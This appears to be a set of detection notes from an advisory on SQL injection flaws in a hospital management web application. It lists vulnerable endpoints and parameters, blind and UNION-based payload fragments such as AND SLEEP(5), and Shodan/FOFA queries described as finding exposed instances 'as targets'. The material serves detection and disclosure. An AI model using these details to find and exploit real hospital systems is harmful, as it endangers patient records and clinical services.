• → Detect UNION-based SQL injection attempts in POST parameter 'searchdata' on /doctor/search.php — look for UNION ALL SELECT with NULL columns and CONCAT payloads ↗
• → Detect boolean-based and time-based blind SQLi in GET parameter 'viewid' on /doctor/view-patient.php — payloads include AND SLEEP(5) and AND <int>=<int> ↗
• → Detect time-based blind SQLi in POST parameter 'bs' — payload contains AND SLEEP(5) injected into medical history submission ↗
• → Detect boolean-based and time-based blind SQLi in POST parameter 'cpass' on /admin/change-password.php — payloads include AND SLEEP(5) and AND <int>=<int># ↗
• → Use Shodan/FOFA to identify exposed Hospital Management System instances as targets: shodan-query 'http.html:"hospital management system"', fofa-query 'body="hospital management system"' ↗
• → Nuclei template detection: POST to /hospital/hms/doctor/search.php with UNION payload and match md5 hash of a known number in the response body confirms exploitation ↗
• → All five vulnerable endpoints require authenticated sessions (doctor or admin login); exploitation is post-authentication (PR:L in CVSS) ↗

• · The exploit was tested against a local instance at IP 10.0.0.214; the path prefix '/hospital/hospital/hms/' may vary depending on deployment configuration ↗
• · Back-end DBMS confirmed as MySQL >= 5.0.0 (MariaDB fork); injection techniques and payloads are MySQL-specific (e.g., SLEEP, NULL-based UNION) ↗
• · Web stack at time of testing was Apache 2.4.41 and PHP 7.4.1; detections tied to this stack may need adjustment for other environments ↗
